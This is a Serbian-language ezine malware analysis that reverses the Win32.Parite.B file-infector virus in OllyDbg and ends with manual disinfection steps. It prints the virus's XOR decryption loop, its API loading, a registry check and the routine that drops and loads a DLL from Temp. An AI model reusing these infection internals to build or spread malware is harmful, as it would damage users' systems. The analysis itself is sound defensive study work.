                 [ Win32.Parite.B reversing by ap0x ]

     pH#5 .............F.u.l.l..R.e.v.e.r.s.e............. [    #Sadrzaj    ]
     0x01 ................................................ [ Intro          ]
     0x02 ................................................ [ AntiVirus      ]
     0x03 ................................................ [ Outro & Greetz ]


--[ 0x01 ]-----------------------------------------------------[     Intro     ]

  Posto  se  svima  nama  prilikom koriscenja kompjutera desavaju najrazlicitije
zgode  ili  nezgode  ja  sam za ovaj broj pH eZina odlucio da vam ispricam jednu
moju  nezgodu.  Naravno  ova  nezgoda je kompjuterske prirode i moze se prilicno
lako popraviti uz pomoc naseg omiljenog oruzija: OllyDBGa.

--[ 0x02 ]-----------------------------------------------------[   AntiVirus   ]

  Pa da pocnemo, ustvari posto priroda sve uglavnom radi sama nikako, ali nikako
NE klikcite 2x na fajl parite.b.exe! Ja ne preuzimam odgovornost ako se zarazite
ovom  napascu  od  virusa,  ali  cak i ako vam se ruka omakne postoje resenja...
Pocecemo od pocetka.  
  Detekcija  virusa je prilicno laka. Ako otvorite bilo koji .exe fajl inficiran
ovim virusom pomocu LordPEa videcete sledecu stvar:

                     Sekcija[1] ... Sekcija[2] ... Sekcija[N]

  Poslednja  sekcija  svakog  inficiranog  PE fajla ce nositi random ime koje se
sastoji  od  5  karaktera.  Tacke,  tri  random slova i jos jednog slova koje ne
pripada  standardnom  ASCII  opsegu pa iz tog razloga ne moze biti prikazano kao
slovo. U nasem slucaju ime poslednje sekcije je .vsp

  Pristupicemo  analizi  virusa,  odnosno  otvoricemo  fajl  parite.b.exe pomocu
Olly-a. Na OEPu inficiranog fajla nalazi se sledeci kod:

00417000 > $  90            NOP
00417001   .  BB D3223001   MOV EBX,13022D3
00417006   .  90            NOP
00417007   .  90            NOP
00417008   .  BF 24704100   MOV EDI,patch.00417024
0041700D   .  68 98050000   PUSH 598
00417012   .  5A            POP EDX
00417013   .  90            NOP
00417014   .  90            NOP
00417015   >  FF343A        PUSH DWORD PTR DS:[EDX+EDI]
00417018   .  311C24        XOR DWORD PTR SS:[ESP],EBX
0041701B   .  8F043A        POP DWORD PTR DS:[EDX+EDI]
0041701E   .  90            NOP
0041701F   .  83EA 02       SUB EDX,2
00417022   .  83EA 02       SUB EDX,2
00417025   .  90            NOP
00417026   .^ 75 ED         JNZ SHORT patch.00417015

  Mislim  da  je  svima jasno da se ovde vrsi dekripcija ostatka koda pa kako bi
nastavili sa analizom koda moramo da dekriptujemo ostatak traceovanjem kroz ovaj
kod.  Ovo  radite  iskljucivo  sa step over ili step into, odnosno sa F8 ili F7.
Nikako  ni  u  jednom trenutku ne pritiskajte F9 ili cete se inficirati virusom!
Analizirajmo sta se ovde desava:

00417015   >  FF343A        PUSH DWORD PTR DS:[EDX+EDI]
00417018   .  311C24        XOR DWORD PTR SS:[ESP],EBX
0041701B   .  8F043A        POP DWORD PTR DS:[EDX+EDI]

  DWORD na lokaciji EDX+EDI se smesta na STACK posle cega se isti taj element na
STACKu  dekriptuje  pomocu  XORa.  Kada se ovo izvrsi dekriptovan bajt se pomocu
instrukcije  POP  smesta nazad na lokaciju EDX+EDI. Imajte na umu da je ovo samo
jedna  varijacija  polimorfnog  OEPa  ovog  virusa. Sledecih par instrukcija nam
govori  da se kao brojac bajtova koje treba dekriptovati koristi EDX, odnosno iz
ovoga:

0041701E   .  90            NOP
0041701F   .  83EA 02       SUB EDX,2
00417022   .  83EA 02       SUB EDX,2
00417025   .  90            NOP
00417026   .^ 75 ED         JNZ SHORT patch.00417015

saznajemo  da ce virus nastaviti sa izvrsavanjem kada EDX bude jednak nula. Kada
se ovo desi sledeca instrukcija ce biti izvrsena:

00417028   .  3B5F 31       CMP EBX,DWORD PTR DS:[EDI+31]

  Ali  ovo  nema smisla, EDI je pointer ka nekoj lokaciji na STACKu, a virus jos
nista nije stavio na tu lokaciju, a sudeci po ovom kodu i nece bar ne dok EDX ne
bude  nula.  Ovo  znaci  da  je  i ovaj deo koda enkriptovan i da instrukcija na
adresi  00417028  nije  prava, bar ne jos. Posto se ovaj kod mora izvrsiti 0x598
puta  nema  smisla  da traceujemo rucno kroz ovaj loop. Dakle uradicemo sledece:
Selektovacemo    adresu   00417028  i  desnim  klikom  cemo  postaviti  Hardware
break-point  on  execution.  Tek kada ovo uradimo mozemo da pritisnemo F9 jer ce
Olly  sigurno  zastati  na  adresi  00417028  cak i ako se njen sadrzaj promeni.
Pritiskom na F9 primecujemo da se kod sa adrese 00417028 promenio sa:

00417028   .  3B5F 31       CMP EBX,DWORD PTR DS:[EDI+31]

u

00417028   .  E8 7D010000   CALL patch.004171AA

  Pritiskom  na  F7! ulazimo u ovaj CALL (ne pokusavajte da pritisnete F8 ili F9
jer cete se inficirati virusom) dolazimo do sledeceg koda:

004171AA      55            DB 55                                    ;  CHAR 'U'
004171AB      8B            DB 8B
004171AC      EC            DB EC
004171AD      81            DB 81
004171AE      C4            DB C4
004171AF      C0            DB C0
004171B0      FE            DB FE
004171B1      FF            DB FF

  Ocigledno  je  da  Olly  jos  nije analizirao ovaj deo koda pa cemo pritisnuti
CTRL+A posle cega cemo videti sledece:

004171AA  /$  55            PUSH EBP
004171AB  |.  8BEC          MOV EBP,ESP
004171AD  |.  81C4 C0FEFFFF ADD ESP,-140
004171B3  |.  8BC5          MOV EAX,EBP
004171B5  |.  83C0 04       ADD EAX,4
004171B8  |.  8BD5          MOV EDX,EBP
004171BA  |.  53            PUSH EBX
004171BB  |.  56            PUSH ESI
004171BC  |.  57            PUSH EDI
004171BD  |.  33DB          XOR EBX,EBX
004171BF  |.  8B38          MOV EDI,DWORD PTR DS:[EAX]
004171C1  |.  8D4D C8       LEA ECX,DWORD PTR SS:[EBP-38]
004171C4  |.  83EF 05       SUB EDI,5
004171C7  |.  8B47 0C       MOV EAX,DWORD PTR DS:[EDI+C]
004171CA  |.  8DB7 84000000 LEA ESI,DWORD PTR DS:[EDI+84]
004171D0  |.  0347 08       ADD EAX,DWORD PTR DS:[EDI+8]
004171D3  |.  83C2 04       ADD EDX,4
004171D6  |.  8902          MOV DWORD PTR DS:[EDX],EAX
004171D8  |.  56            PUSH ESI                                 ; /Arg3
004171D9  |.  57            PUSH EDI                                 ; |Arg2
004171DA  |.  51            PUSH ECX                                 ; |Arg1
004171DB  |.  E8 6A000000   CALL patch.0041724A                      ; \patch.0041724A
...

  E  ovo vec lici na nesto. Sada cemo polako traceovati kroz kod sa F7 ulazeci u
SVAKI  CALL kako bi smo videli sta je ovaj virus spremio za nas. Traceujuci kroz
kod stizemo ovde:

004171CA  |.  8DB7 84000000 LEA ESI,DWORD PTR DS:[EDI+84]
004171D0  |.  0347 08       ADD EAX,DWORD PTR DS:[EDI+8]

  LEA  ESI  smesta  pointer  ka  stringu  Kernel32.dll  u  ESI, a ADD EAX dodaje
0x00400000  na  EAX.  U  tom trenutku EAX je bio jednak 0x000016C5, dok je posle
dodavanja  dobio  novu  vrednost  0x004016C5.  Ako  odemo na ovu adresu videcemo
sledeci kod:

004016C5   .  6A 00         PUSH 0                                   ; /pModule = NULL
004016C7   .  E8 E1170000   CALL <JMP.&KERNEL32.GetModuleHandleA>    ; \GetModuleHandleA
004016CC   .  A3 4F394000   MOV DWORD PTR DS:[40394F],EAX
004016D1   .  33C9          XOR ECX,ECX
004016D3   .  8B91 00104000 MOV EDX,DWORD PTR DS:[ECX+401000]
004016D9   .  85D2          TEST EDX,EDX
004016DB   .  0F84 19010000 JE patch.004017FA

  Bez sumlje ovo je OEP inficiranog fajla. Ovo ce nam trebati posle, a sada cemo
nastaviti sa traceovanjem kroz kod sa F7 i ucicemo u prvi CALL koji se nalazi na
adresi 0x0041724A. U njemu je sledeci kod:

0041724A  /$  55            PUSH EBP
0041724B  |.  8BEC          MOV EBP,ESP
0041724D  |.  53            PUSH EBX
0041724E  |.  56            PUSH ESI
0041724F  |.  57            PUSH EDI
00417250  |.  8B45 0C       MOV EAX,DWORD PTR SS:[EBP+C]
00417253  |.  8B5D 08       MOV EBX,DWORD PTR SS:[EBP+8]
00417256  |.  8B7D 10       MOV EDI,DWORD PTR SS:[EBP+10]
00417259  |.  8B50 20       MOV EDX,DWORD PTR DS:[EAX+20]
0041725C  |.  8B0A          MOV ECX,DWORD PTR DS:[EDX]
0041725E  |.  890B          MOV DWORD PTR DS:[EBX],ECX
00417260  |.  8B45 0C       MOV EAX,DWORD PTR SS:[EBP+C]
00417263  |.  8B50 20       MOV EDX,DWORD PTR DS:[EAX+20]
00417266  |.  83C2 04       ADD EDX,4
00417269  |.  8B0A          MOV ECX,DWORD PTR DS:[EDX]
0041726B  |.  894B 04       MOV DWORD PTR DS:[EBX+4],ECX
0041726E  |.  57            PUSH EDI
0041726F  |.  FF13          CALL NEAR DWORD PTR DS:[EBX]             ;  kernel32.LoadLibraryA
...
0041727E  |.  FF70 24       PUSH DWORD PTR DS:[EAX+24]
00417281  |.  56            PUSH ESI
00417282  |.  FF53 04       CALL NEAR DWORD PTR DS:[EBX+4]           ;  kernel32.GetProcAddress
...
00417290  |.  FF70 28       PUSH DWORD PTR DS:[EAX+28]
00417293  |.  56            PUSH ESI
00417294  |.  FF53 04       CALL NEAR DWORD PTR DS:[EBX+4]           ;  kernel32.GetProcAddress

  Ovo je kod koji ucitava sve API pozive koji su potrebni za izvrsavanje virusa.
Ovo  se  radi  pomocu  APIja  LoadLibraryA i GetProcAddress tako sto LoadLibrary
ucitava  .dll  fajl  u  kojem  se  nalaze  API funkcije a GetProcAddress ucitava
pojedinacne APIje. Ucitavanje APIja je sve sto ovaj CALL radi a njihova lista bi
bila:

DS:[0041704C]=0040480E (patch.0040480E), ASCII "UnmapViewOfFile"
DS:[00417050]=00404820 (patch.00404820), ASCII "TerminateProcess"
EAX=004170B9 (patch.004170B9), ASCII "GetTempPathA"
EDX=004170C6 (patch.004170C6), ASCII "GetTempFileNameA"
ECX=004170D7 (patch.004170D7), ASCII "CreateFileA"
EAX=004170E3 (patch.004170E3), ASCII "ReadFile"
EDX=004170EC (patch.004170EC), ASCII "WriteFile"
ECX=004170F6 (patch.004170F6), ASCII "SetFilePointer"
EAX=00417105 (patch.00417105), ASCII "CloseHandle"
EDX=00417111 (patch.00417111), ASCII "GetTickCount"
ECX=0041711E (patch.0041711E), ASCII "GetModuleFileNameA"
EAX=0041713E (patch.0041713E), ASCII "RegOpenKeyExA"
EDX=0041714C (patch.0041714C), ASCII "RegQueryValueExA"
EDI=0041715D (patch.0041715D), ASCII "RegCloseKey"

  Pre  nego  sto  izacemo  iz  ovog  CALLa  primeticemo  samo  GetProcAddress  i
LoadLibrary  ne  mogu  biti  dinamicki  ucitani tako da zakljucujemo da Parite.B
modifikuje tablicu importa u koju ubacuje ova dva APIja ako ova dva APIja vec ne
postoje u import tablici. Kada izadjemo iz ovog CALL nacicemo se ovde:

004171E0  |.  84C0          TEST AL,AL
004171E2  |.  74 5E         JE SHORT patch.00417242

 Dakle ako Parite.B ne ucita sve potrebne APIje skocice ovde:

00417242  |> \5F            POP EDI
00417243  |.  5E            POP ESI
00417244  |.  5B            POP EBX
00417245  |.  8BE5          MOV ESP,EBP
00417247  |.  5D            POP EBP
00417248  \.  C3            RET
00417249      90            NOP

 Ovo izgleda kao sam kraj izvrsavanja glavnog koda, tako da bi ovo lako mogao da
bude virus exit point. Traceujmo dalje kroz kod virusa, odnosno udjimo u sledeci
CALL:

004171EF  |.  52            PUSH EDX                                 ; |Arg1 = 0012FE7C
004171F0  |.  E8 61010000   CALL patch.00417356                      ; \patch.00417356

 Tracujuci kroz njega primecujemo sledeci kod:

00417371  |.  50            PUSH EAX
00417372  |.  68 19000200   PUSH 20019
00417377  |.  8D97 BD000000 LEA EDX,DWORD PTR DS:[EDI+BD]
0041737D  |.  6A 00         PUSH 0
0041737F  |.  52            PUSH EDX
00417380  |.  68 01000080   PUSH 80000001
00417385  |.  FF56 2C       CALL NEAR DWORD PTR DS:[ESI+2C]          ;  ADVAPI32.RegOpenKeyExA


 Ovde Parite.B otvara kljuc "Software\Microsoft\Windows\CurrentVersion\Explorer"
koji  se  nalazi  pod  granom  HKEY_CURRENT_USER,  da bi dalje potrazio vrednost
podkljuca "PINF" upravo ovde:

00417395  |.  51            PUSH ECX
00417396  |.  FF75 08       PUSH DWORD PTR SS:[EBP+8]
00417399  |.  6A 00         PUSH 0
0041739B  |.  6A 00         PUSH 0
0041739D  |.  57            PUSH EDI
0041739E  |.  FF75 FC       PUSH DWORD PTR SS:[EBP-4]
004173A1  |.  FF56 30       CALL NEAR DWORD PTR DS:[ESI+30]          ;  ADVAPI32.RegQueryValueExA

  koji ukoliko je virus vec instaliran sadrzi putanju do njegove lokacije. U mom
slucaju to bi bilo: 

"PINF"=hex:07,00,43,3a,5c,44,4f,43,55,4d,45,7e,31,5c,61,70,30,78,5c,4c,4f,43,\
  41,4c,53,7e,31,5c,54,65,6d,70,5c,6c,6b,69,31,31,2e,74,6d,70,00

  Posto  kod  vas  virus  jos  nije  instaliran  (bar  se nadam) ovaj kljuc nece
postojati.  Posto  je  ovo  sve  sto  ovaj  CALL  radi  vraticemo  se iz njega i
zavrsicemo ovde:

004171F5  |.  84C0          TEST AL,AL
004171F7  |.  74 1E         JE SHORT patch.00417217
004171F9  |.  66:83BD C0FEF>CMP WORD PTR SS:[EBP-140],7
00417201  |.  72 14         JB SHORT patch.00417217

  TEST  AL,AL  ce izvrsiti skok JE samo ako kod vas ne postoji kljuc PINF. Posto
kod mene ovaj kljuc postoji (pitam se zasto) ja cu uci u sledeci CALL:

0041720F  |.  50            PUSH EAX                                 ; |Arg1
00417210  |.  E8 A9010000   CALL patch.004173BE                      ; \patch.004173BE

 U kojem cemo videti sledeci kod:

004173BE  /$  55            PUSH EBP
004173BF  |.  8BEC          MOV EBP,ESP
004173C1  |.  53            PUSH EBX
004173C2  |.  8B5D 0C       MOV EBX,DWORD PTR SS:[EBP+C]
004173C5  |.  FF75 08       PUSH DWORD PTR SS:[EBP+8]
004173C8  |.  FF13          CALL NEAR DWORD PTR DS:[EBX]             ;  kernel32.LoadLibraryA

  On nam jasno govori da je instalacioni .tmp fajl virusa ustvari .dll fajl. Ovo
se  jasno vidi iz CALLa na adresi 004173C8 jer je on poziv ka LoadLibraryA APIju
koji  bi  ucitao samo .dll fajl da on postoji. Posto ovaj fajl ne postoji (vise)
na  mom  kompjuteru  izacicemo iz ovog CALLa i docicemo do mesta do kojeg bi smo
dosli u slucaju da PINF kljuc ne postoji, dakle sada smo ovde:

00417215  |.  8BD8          MOV EBX,EAX
00417217  |>  84DB          TEST BL,BL
00417219  |.  75 27         JNZ SHORT patch.00417242

 I posto sledeci JNZ skok nece biti izvrsen moramo uci u sledeci CALL:

00417226  |.  52            PUSH EDX                                 ; |Arg1
00417227  |.  E8 CA010000   CALL patch.004173F6                      ; \patch.004173F6

  Ovaj  malo  duzi CALL cu izdeliti na par celina. Prva bi bila sledeci kod koji
ucitava tacnu putanju do inficiranog .exe fajla pomocu GetModuleFileNameA APIja.

00417426  |.  50            PUSH EAX
00417427  |.  6A 00         PUSH 0
00417429  |.  FF53 28       CALL NEAR DWORD PTR DS:[EBX+28]          ;  kernel32.GetModuleFileNameA

  Onda  sledeci kod koji pomocu CreateFileA otvara taj isti fajl, najverovatnije
zbog kopiranja.

0041742C  |.  6A 00         PUSH 0
0041742E  |.  6A 01         PUSH 1
00417430  |.  6A 03         PUSH 3
00417432  |.  6A 00         PUSH 0
00417434  |.  6A 01         PUSH 1
00417436  |.  8D95 ECFEFFFF LEA EDX,DWORD PTR SS:[EBP-114]
0041743C  |.  68 00000080   PUSH 80000000
00417441  |.  52            PUSH EDX
00417442  |.  FF53 10       CALL NEAR DWORD PTR DS:[EBX+10]          ;  kernel32.CreateFileA

  Dalje  se pomocu GetTickCount, GetTempPathA i GetTempFileNameA kreira novo ime
za fajl koji ce biti smesten u Temp direktorijum. To se desava ovde:

00417456  |.  50            PUSH EAX
00417457  |.  68 04010000   PUSH 104
0041745C  |.  FF53 08       CALL NEAR DWORD PTR DS:[EBX+8]           ;  kernel32.GetTempPathA
0041745F  |.  FF53 24       CALL NEAR DWORD PTR DS:[EBX+24]          ;  kernel32.GetTickCount
00417462  |.  8945 F8       MOV DWORD PTR SS:[EBP-8],EAX
00417465  |.  33C9          XOR ECX,ECX
00417467  |>  33C0          /XOR EAX,EAX
00417469  |.  8A440D F8     |MOV AL,BYTE PTR SS:[EBP+ECX-8]
0041746D  |.  51            |PUSH ECX
0041746E  |.  B9 0A000000   |MOV ECX,0A
00417473  |.  99            |CDQ
00417474  |.  F7F9          |IDIV ECX
00417476  |.  59            |POP ECX
00417477  |.  04 61         |ADD AL,61
00417479  |.  88440D F8     |MOV BYTE PTR SS:[EBP+ECX-8],AL
0041747D  |.  41            |INC ECX
0041747E  |.  83F9 02       |CMP ECX,2
00417481  |.^ 7E E4         \JLE SHORT patch.00417467
00417483  |.  C645 FB 00    MOV BYTE PTR SS:[EBP-5],0
00417487  |.  56            PUSH ESI
00417488  |.  6A 00         PUSH 0
0041748A  |.  8D4D F8       LEA ECX,DWORD PTR SS:[EBP-8]
0041748D  |.  51            PUSH ECX
0041748E  |.  8D85 ECFEFFFF LEA EAX,DWORD PTR SS:[EBP-114]
00417494  |.  50            PUSH EAX
00417495  |.  FF53 0C       CALL NEAR DWORD PTR DS:[EBX+C]           ;  kernel32.GetTempFileNameA

  Taj  fajl ce odmah potom biti kreiran pomocu komande CreateFileA. Ovaj fajl ce
se uvek nalaziti u Temp direktorijumu. 

00417498  |.  6A 00         PUSH 0
0041749A  |.  68 80000000   PUSH 80
0041749F  |.  6A 02         PUSH 2
004174A1  |.  6A 00         PUSH 0
004174A3  |.  6A 01         PUSH 1
004174A5  |.  68 000000C0   PUSH C0000000
004174AA  |.  56            PUSH ESI
004174AB  |.  FF53 10       CALL NEAR DWORD PTR DS:[EBX+10]          ;  kernel32.CreateFileA

 Predstoji nam sledeci loop koji ce kreirati sadrzaj fajla koji ce biti snimljen
u Temp direktorijum.

004174CF  |.  81FE 00280000 CMP ESI,2800
004174D5  |.  76 56         JBE SHORT patch.0041752D
004174D7  |>  6A 00         /PUSH 0
004174D9  |.  8D55 F0       |LEA EDX,DWORD PTR SS:[EBP-10]
004174DC  |.  52            |PUSH EDX
004174DD  |.  68 00280000   |PUSH 2800
004174E2  |.  8D8D ECD6FFFF |LEA ECX,DWORD PTR SS:[EBP-2914]
004174E8  |.  51            |PUSH ECX
004174E9  |.  57            |PUSH EDI
004174EA  |.  FF53 14       |CALL NEAR DWORD PTR DS:[EBX+14]         ;  kernel32.ReadFile
004174ED  |.  68 00280000   |PUSH 2800                               ; /Arg3 = 00002800
004174F2  |.  8D85 ECD6FFFF |LEA EAX,DWORD PTR SS:[EBP-2914]         ; |
004174F8  |.  50            |PUSH EAX                                ; |Arg2
004174F9  |.  8B55 10       |MOV EDX,DWORD PTR SS:[EBP+10]           ; |
004174FC  |.  FFB2 80000000 |PUSH DWORD PTR DS:[EDX+80]              ; |Arg1
00417502  |.  E8 8B000000   |CALL patch.00417592                     ; \patch.00417592
00417507  |.  8D4D F0       |LEA ECX,DWORD PTR SS:[EBP-10]
0041750A  |.  6A 00         |PUSH 0
0041750C  |.  51            |PUSH ECX
0041750D  |.  8D85 ECD6FFFF |LEA EAX,DWORD PTR SS:[EBP-2914]
00417513  |.  68 00280000   |PUSH 2800
00417518  |.  50            |PUSH EAX
00417519  |.  FF75 F4       |PUSH DWORD PTR SS:[EBP-C]
0041751C  |.  FF53 18       |CALL NEAR DWORD PTR DS:[EBX+18]         ;  kernel32.WriteFile
0041751F  |.  81EE 00280000 |SUB ESI,2800
00417525  |.  81FE 00280000 |CMP ESI,2800
0041752B  |.^ 77 AA         \JA SHORT patch.004174D7

 Posebno je interesantan CALL na adresi 00417502:

00417592  /$  55            PUSH EBP
00417593  |.  8BEC          MOV EBP,ESP
00417595  |.  53            PUSH EBX
00417596  |.  8B5D 08       MOV EBX,DWORD PTR SS:[EBP+8]
00417599  |.  8B55 0C       MOV EDX,DWORD PTR SS:[EBP+C]
0041759C  |.  8B4D 10       MOV ECX,DWORD PTR SS:[EBP+10]
0041759F  |.  85C9          TEST ECX,ECX
004175A1  |.  79 03         JNS SHORT patch.004175A6
004175A3  |.  83C1 03       ADD ECX,3
004175A6  |>  C1F9 02       SAR ECX,2
004175A9  |.  33C0          XOR EAX,EAX
004175AB  |.  3BC8          CMP ECX,EAX
004175AD  |.  7E 08         JLE SHORT patch.004175B7
004175AF  |>  311C82        /XOR DWORD PTR DS:[EDX+EAX*4],EBX
004175B2  |.  40            |INC EAX
004175B3  |.  3BC8          |CMP ECX,EAX
004175B5  |.^ 7F F8         \JG SHORT patch.004175AF
004175B7  |>  5B            POP EBX
004175B8  |.  5D            POP EBP
004175B9  \.  C2 0C00       RET 0C

  On  se  koristi  za dekriptovanje .dll fajla koji se nalazi u inficiranom .exe
fajlu.  Dakle  odavde zakljucujemo da se u inficiranom .exe fajlu nalaze sledece
stvari:  originalni .exe + dumper + .dll Dumper kako smo videli za sada sluzi za
extraktovanje    .dll   fajla  u  Temp  direktorijum,  ali  nastavimo  dalje  sa
traceovanjem, mozda pronadjemo jos nesto zanimljivo. Ovde:

00417555  |.  6A 00         PUSH 0
00417557  |.  8D4D F0       LEA ECX,DWORD PTR SS:[EBP-10]
0041755A  |.  51            PUSH ECX
0041755B  |.  56            PUSH ESI
0041755C  |.  8D85 ECD6FFFF LEA EAX,DWORD PTR SS:[EBP-2914]
00417562  |.  50            PUSH EAX
00417563  |.  FF75 F4       PUSH DWORD PTR SS:[EBP-C]
00417566  |.  FF53 18       CALL NEAR DWORD PTR DS:[EBX+18]          ;  kernel32.WriteFile

se  konacno  fajl  iz  memorije  zapisuje  na  disk. Posle cega sledi zatvaranje
handleova,  prvo se zatvara handle fajla koji se zapisuje u Temp direktorijum, a
onda se zatvara handle inficiranog .exe. 

00417569  |.  FF75 F4       PUSH DWORD PTR SS:[EBP-C]
0041756C  |.  FF53 20       CALL NEAR DWORD PTR DS:[EBX+20]          ;  kernel32.CloseHandle
...
00417579  |> \57            PUSH EDI
0041757A  |.  FF53 20       CALL NEAR DWORD PTR DS:[EBX+20]          ;  kernel32.CloseHandle

  Posle  ovoga  sledi najvazniji CALL i koji moramo da udjemo da bi smo shvatili
kako to Parite.B radi. Dakle u ovom CALLu:

0041723C  |.  50            PUSH EAX                                 ; |Arg1
0041723D  |.  E8 7C010000   CALL patch.004173BE                      ; \patch.004173BE


 cemo videti sledeci kod:

004173C2  |.  8B5D 0C       MOV EBX,DWORD PTR SS:[EBP+C]
004173C5  |.  FF75 08       PUSH DWORD PTR SS:[EBP+8]
004173C8  |.  FF13          CALL NEAR DWORD PTR DS:[EBX]             ;  kernel32.LoadLibraryA

 LoadLibrary koji ucitava fajl koji je snimljen u Temp direktorijum. Posle ovoga
Parite.B  ce  ucitati funkciju koja se nalazi na lokaciji koja se nalazi u EDXu.
To se desava ovde::

004173D7  |.  52            PUSH EDX                                 ;  patch.004171A1
004173D8  |.  50            PUSH EAX
004173D9  |.  FF53 04       CALL NEAR DWORD PTR DS:[EBX+4]
004173DC  |.  85C0          TEST EAX,EAX
004173DE  |.  74 0D         JE SHORT patch.004173ED

 a u EDXu se nalazi sledeci pointer ka stringu 004171A1 ASCII "Initiate". Odavde
saznajemo  da  je glavna funkcija .dll fajla koji se nalazi u Temp direktorijumu
Initiate koja ce ovde biti startovana:

004173E0  |.  FF75 10       PUSH DWORD PTR SS:[EBP+10]
004173E3  |.  FFD0          CALL NEAR EAX                            ;  ixq19.Initiate
004173E5  |.  84C0          TEST AL,AL
004173E7  |.  74 04         JE SHORT patch.004173ED
004173E9  |.  B0 01         MOV AL,1
004173EB  |.  EB 02         JMP SHORT patch.004173EF

  Ovo  se  nikako  ne sme desiti jer cete se INFICIRATI virusom. Iz ovog razloga
cemo  NOPovati PUSH [EBP+10] i CALL EAX kako bi smo sprecili zarazu. Posle ovoga
nam ostaje samo da izadjemo iz ovog CALLa i da izvrsimo i sledeci CALL:

00417242  |> \5F            POP EDI                                  ;  patch.00417024
00417243  |.  5E            POP ESI
00417244  |.  5B            POP EBX
00417245  |.  8BE5          MOV ESP,EBP
00417247  |.  5D            POP EBP
00417248  \.  C3            RET
00417249      90            NOP

  Kada  se  ovo desi, odnosno kada se izvrsi RET komanda mi cemo se naci na OEPu
inficirane  mete. Kao sto smo predpostavili OEP se nalazi na adresi 0x004016C5 i
izgleda ovako: 

004016C5   .  6A 00         PUSH 0                                   ; /pModule = NULL
004016C7   .  E8 E1170000   CALL <JMP.&KERNEL32.GetModuleHandleA>    ; \GetModuleHandleA
004016CC   .  A3 4F394000   MOV DWORD PTR DS:[40394F],EAX

  Sada  nam  preostaje  samo  da dezinfikujemo ovaj fajl. To cemo uraditi pomocu
LordPEa  pomocu kojeg cemo promeniti EntryPoint na 0x000016C5. Ali ovo nije sve,
oticicemo  u  Sections  prozor  u  kojem cemo izabrati poslednju sekciju .vsp i
desnim  klikom  na  nju  izabracemo  opciju wipe section header. Ovo ce ukloniti
poslenju sekciju iz PE headera ali ne i iz PE fajla. Da bi smo i stvarno fizicki
obrisali poslednju sekciju moracemo da zatvorimo LordPE i da pomocu bilo kog Hex
Editora  obrisemo  sve  podatke  od 0x12E00 pa do kraja .exe fajla. Ovako cemo i
konacno  obrisati  virus  iz .exe fajla. Pokusajmo sada da otvorimo dezinfikovan
fajl  pomocu  Ollya  i  videcemo  da ce on izbaciti 0xC0000005 error. Sta smo to
zaboravili  da uradimo? O da potrebno je jos popraviti tablicu importa. Ovo cemo
uraditi  tako  sto cemo kliknuti na opciju Direktories u LordPEu gde cemo pomocu
klika na ... pored import table podatka imati pregled cele tablice importa. Sada
jos  samo  treba  da  u novoj listi izaberemo kernel32.dll i pogledamo sta se to
poziva  iz  ovog  .dll-a. Prve dve adrese 0x000175BE i 0x000175CD su pogresne pa
posto  nemozemo  da  ih  obrisemo  izabracemo TrunkValue prvog sledeceg validnog
APIja  (GetTempPathA), odnosno 0x00004832 i upisacemo ga u ThunkValue invalidnih
importa.  Posle  ovoga mozemo da snimimo promene koje smo nacili. Sada ovaj fajl
moze  biti  otvoren pomocu Ollya, a kao sto vidimo njegova velicina se sa 248 kb
smanjila  na  samo  75 kb. Primer ispravno uklonjenog virusa mozete pogledati na
fajlu cleaned.exe!                                                             

--[ 0x02 ]----------------------------------------------------[ Outro & Greetz ]

  Virusi mogu biti napast, ali ono sto je bitno je ono sto smo danas nucili. Svi
virusi  koji  inficiraju .exe fajlove mogu biti lako uklonjeni a originalni .exe
fajlovi  ocisceni i ponovo bezbedno upotrebljeni. Preporucujem samo da pazite na
zaraze koje vladaju, nisu svi virusi isti... ako shvatate sta hocu da kazem ;)

Greetz:

 deroko | SND | TSRh | Reversing Labs | b4d_s3c70r | Jezgra | BlackHat

--[ EOF ]-----------------------------------------------------[  made by Ap0x  ]